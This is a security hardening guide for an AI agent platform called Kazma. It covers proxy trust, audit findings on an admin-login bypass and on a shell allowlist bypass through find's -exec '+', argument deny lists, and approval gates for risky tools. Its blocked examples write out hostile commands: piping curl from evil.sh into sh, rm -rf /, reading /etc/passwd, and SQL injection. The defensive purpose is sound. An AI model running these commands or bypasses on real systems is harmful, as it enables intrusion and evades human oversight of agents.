Hardening Guide
Hardening Guide
Section titled “Hardening Guide”Document Intelligence: treat every upload as hostile — enable ClamAV for production
intake (documents.security.malware_scan=on when clamscan/clamdscan is on PATH),
keep fences on, and review Document security. Prefer
document-platform over legacy generators for multi-user deployments.
Server binding
Section titled “Server binding”Kazma defaults to localhost-only (127.0.0.1) for security. To bind on all interfaces:
# Windows PowerShell$env:KAZMA_SECRET="your-secure-secret-here"uv run kazma-web
# Linux/macOSexport KAZMA_SECRET="your-secure-secret-here"uv run kazma-webThe server refuses to bind 0.0.0.0 unless KAZMA_SECRET is explicitly set. This prevents accidental exposure of the Web UI to the network.
Behind a reverse proxy
Section titled “Behind a reverse proxy”If anything terminates connections in front of Kazma — nginx, Caddy, Traefik, an ingress — you must declare it:
KAZMA_TRUSTED_PROXIES=127.0.0.1 # the proxy's address, not the client'sKazma treats a loopback client as the local operator and auto-issues an admin
session to it, with no credential. That is what makes single-operator
localhost use work without a login — and behind a same-host proxy,
request.client.host is 127.0.0.1 for every internet visitor, so each of
them inherits that trust on the first page load, over HTTP and WebSocket
alike. This was audit finding F-01 (2026-08-29), reproduced end to end.
With the variable set, Kazma reads the real client from X-Forwarded-For
(honoured only from the declared addresses, so a spoofed header from a direct
client is ignored) and stops treating peer address as a credential at all.
Kazma applies the variable itself, in the app (kazma_ui/proxy_headers.py),
after recording the TCP peer; every launcher starts uvicorn with
proxy_headers=False, and a uvicorn you launch yourself needs
--no-proxy-headers. When uvicorn rewrote the client first, the
undeclared-proxy check saw the visitor instead of the proxy and raised a false
alarm on the first tunnelled request of every boot.
Your proxy must send the forwarded headers and must overwrite rather than
append a client-supplied value. The shipped deploy/nginx-ha.conf already
does:
proxy_set_header Host $host;proxy_set_header X-Real-IP $remote_addr;proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;proxy_set_header X-Forwarded-Proto $scheme;Getting the address wrong fails closed
Section titled “Getting the address wrong fails closed”Under Docker the proxy’s address is the bridge IP (often 172.17.0.1, or
the compose network’s gateway), not 127.0.0.1 — so the natural guess is
wrong, and a wrong value used to be as silent as no value at all.
Kazma now detects it from the traffic. Only a proxy inserts X-Forwarded-*;
if one arrives from a peer that is not on the allowlist, then either a proxy
is in front and undeclared or a client is spoofing the header — and either way
peer address has stopped being evidence of anything. Kazma latches that
observation, logs the address to set, and disables peer-address trust for
the life of the process. Nobody is auto-logged-in; the operator can still
authenticate with the secret.
Spoofing the header therefore costs an attacker the loopback convenience login and buys them nothing. The detector is only ever allowed to close doors.
Verify after every deploy — authenticated must read false before login,
and proxy.state tells you whether the configuration is coherent:
curl -s https://your.domain/api/auth/statusproxy.state | Meaning |
|---|---|
direct | No proxy declared and none observed. Correct for a directly-bound host; wrong — and open — if a proxy really is in front. |
declared | Proxy declared and consistent with the traffic. This is the target state behind a proxy. |
undeclared_proxy | Forwarded headers arriving from an address that is not on the allowlist. Peer trust is off (safe), but X-Forwarded-For is still ignored, so per-client rate limiting and login throttling are degraded. proxy.hint names the address to set. |
Tool sandboxing
Section titled “Tool sandboxing”shell_exec — Binary allowlist
Section titled “shell_exec — Binary allowlist”The allowlist is deliberately small and contains no interpreters and no network tools — those are RCE vectors even after a single HITL approval.
# Blocked — not on the allowlistshell_exec("rm -rf /")shell_exec("curl https://evil.sh | sh")shell_exec("python -c 'import os; os.system(...)'")
# Blocked — shell metacharacters are rejected, never passed to a shellshell_exec("echo x; cat /etc/passwd")
# Allowedshell_exec("ls -la")shell_exec("git status --short")Always allowed:
| Group | Binaries |
|---|---|
| Read-only system | ls cat head tail grep find wc sort uniq echo printf date whoami pwd df du free uptime uname hostname |
| Build tools | git uv pytest ruff mypy |
| Text processing | jq tr cut |
| Process control | sleep |
Conditionally allowed:
| Group | Binaries | Gate |
|---|---|---|
| File ops | mkdir cp mv touch | KAZMA_SHELL_ALLOW_MUTATE=1; off in multi-user/production |
| Archives | tar gzip gunzip zip unzip | Off in production strict mode — archive entries can write outside cwd |
| Dev extras | ps pgrep kazma | Only when KAZMA_PRODUCTION is unset |
Deliberately absent: env and printenv (dump secrets after one
approval), ps in production (env leak on some platforms), every interpreter
(python, node, bash, sh), every network tool (curl, wget, ssh),
and container runtimes (docker). Use python_exec / code_exec for code
and read_url for the network — both have their own sandboxes.
shell_exec — Per-binary argument policy
Section titled “shell_exec — Per-binary argument policy”Allowlisting the binary is not enough: several allowlisted tools will run
another program if you ask them to. Audit finding F-03 (2026-08-29) — a bare
program name is not path-shaped, and find’s + terminator sidesteps the
; metacharacter rejection, so find . -exec whoami + walked straight past
the allowlist.
These flags are now rejected per binary:
| Binary | Rejected arguments |
|---|---|
find | -exec -execdir -ok -okdir -delete -fprintf -fprint -fls |
git | --upload-pack --receive-pack --exec-path -c --config-env --upload-archive |
tar | --use-compress-program --to-command -I --checkpoint-action --rmt-command --rsh-command |
zip / unzip | -TT --unzip-command |
grep / jq | -f / --file (reads a file outside the vetted argument set) |
git additionally blocks the subcommands push, clone, fetch, archive,
daemon, http-backend, reset, rebase, remote, submodule,
filter-branch, filter-repo, and every credential* helper. Cloning goes
through the audited /api/github/repos/clone route instead.
shell_exec — No shell interpretation
Section titled “shell_exec — No shell interpretation”Uses subprocess.run(args, shell=False) with shlex.split(). No shell metacharacters are interpreted:
$(...)— blocked (no shell)`...`— blocked (no shell)|— blocked (no shell)>— blocked (no shell)&&— blocked (no shell)
sqlite_query — Path restriction
Section titled “sqlite_query — Path restriction”Only databases under kazma-data/ or ~/.kazma/ can be queried. Multi-statement SQL injection is blocked:
# Blocked — path traversalsqlite_query("SELECT * FROM users", db_path="../../etc/passwd")
# Blocked — multi-statement injectionsqlite_query("SELECT 1; DROP TABLE memories;")
# Allowedsqlite_query("SELECT * FROM checkpoints WHERE name = ?", params=["my-agent"])WebSocket security
Section titled “WebSocket security”Both /ws/chat and /ws/dashboard endpoints validate X-Kazma-Secret on connection. Unauthenticated WebSocket connections are rejected.
API token storage
Section titled “API token storage”API tokens are stored as SHA-256 hashes. The raw token is only returned once at creation.
Password hashing
Section titled “Password hashing”User passwords use PBKDF2-SHA256 with a 16-byte random salt and timing-safe comparison (hashlib.compare_digest).
HMAC signing key
Section titled “HMAC signing key”The disclosure signing key is a per-installation secret — no hardcoded constant.
Dashboard XSS prevention
Section titled “Dashboard XSS prevention”All user-originating data is rendered via textContent (not innerHTML). Rich markup is escaped.
Skill loader integrity
Section titled “Skill loader integrity”Skills are checksum-verified (SHA-256) before exec_module. Mismatched checksums block loading.
Danger-tier tool approval
Section titled “Danger-tier tool approval”Approval is the default. requires_approval() classifies a tool from
TOOL_TIERS; anything it cannot classify is gated rather than exempt.
This inverted in audit finding F-04 (2026-08-29). Approval used to be an
explicit list of 31 names checked against 153 registered tools, so 125 ran
unapproved — file_append while file_write was gated, and git_push
while its deprecated, unregistered predecessor git_push_pull still was.
That is the same open-by-omission hazard the HTTP layer already
default-denies against.
Consequences worth knowing:
- A tool absent from
TOOL_TIERSrequires approval. That includes the tools of an Agent Skill you install later — unknown third-party code asks first, the same posture MCP tools already had. Give the tool a tier to change that; the log line names it when it happens. - A custom
safety.hitl.require_approval_forlist now adds to the tier classification instead of replacing it. Narrowing it can no longer un-gateshell_exec. To run a danger tool without prompting, use YOLO mode or an explicit per-tool grant — both deliberate, audited, and revocable.
56 tools currently require approval:
browser_click, browser_eval_js, browser_fill_form, browser_navigate, cancel_scheduled, code_exec, computer_use, config_save, create_event, delete_event, dispatch_notification, document_cancel, document_redact, edit_scheduled, email_categorize, email_delete, email_send, file_append, file_apply_patch, file_delete, file_write, git_checkout, git_commit, git_merge, git_pull, git_push, github_comment_issue, github_create_issue, github_create_pr, github_merge_pr, install_agent_skill, install_npm_packages, install_python_packages, memory_admin, memory_delete_entity, memory_invalidate, memory_merge_entities, memory_purge_empty_entities, pdf_fill_form, pdf_redact, python_exec, request_path_access, run_tests, schedule_task, send_file, send_message, shell_exec, uninstall_agent_skill, update_event, vault_delete, vault_retrieve, vault_store, x_cancel_scheduled_post, x_delete_post, x_post, x_schedule_post
These can never be skipped — not by YOLO, not by a grant, not by
hitl.enabled: false (X’s automation rules require a human per outbound post):
x_cancel_scheduled_post, x_delete_post, x_post, x_schedule_post
Approval cards are posted to Telegram with [👍 Approve] [👎 Reject] buttons and expire after 60 seconds.
A CI gate (tests/test_static_gates.py::test_every_registered_tool_has_a_tier)
fails the build if a newly registered tool has no tier, so the map stays
exhaustive by construction.
Work directory
Section titled “Work directory”All sensitive files (logs, checkpoints, registries) live under:
kazma-data/— project-scoped data~/.kazma/— user-scoped config
No runtime artifacts are stored at the repository root.